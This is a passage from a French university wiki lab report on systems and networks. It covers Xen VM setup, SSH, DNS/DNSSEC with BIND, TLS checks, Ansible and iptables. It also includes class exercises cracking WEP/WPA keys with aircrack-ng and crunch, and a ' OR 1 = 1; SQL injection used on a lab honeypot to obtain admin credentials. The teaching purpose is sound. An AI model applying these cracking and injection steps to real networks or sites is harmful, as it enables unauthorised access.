 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
==Setup SSH==&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On &lt;br /&gt;
&lt;br /&gt;
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 # &lt;br /&gt;
 #  Security updates&lt;br /&gt;
 # &lt;br /&gt;
 deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;br /&gt;
&lt;br /&gt;
==Setup Docker==&lt;br /&gt;
On installe docker grâce à la commande &lt;br /&gt;
 $ ansible-galaxy install geerlingguy.docker&lt;br /&gt;
&lt;br /&gt;
on ajoute alors a polytech.yaml : &lt;br /&gt;
 - role: geerlingguy.docker&lt;br /&gt;
   tags: docker&lt;br /&gt;
&lt;br /&gt;
==Ip table==&lt;br /&gt;
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.&lt;br /&gt;
On créé un role dédié, nommé firewall.&lt;br /&gt;
main.yml de firexall : &lt;br /&gt;
 ---&lt;br /&gt;
 - name: &amp;quot;Block TCP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot; \{{item\}}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8500&amp;quot;&lt;br /&gt;
     - &amp;quot;8501&amp;quot;&lt;br /&gt;
     - &amp;quot;8502&amp;quot;&lt;br /&gt;
     - &amp;quot;8300&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;br /&gt;
 - name: &amp;quot;Block UDP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot;{{ item }}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58005</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58005"/>
				<updated>2022-01-12T12:33:30Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Ip table */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
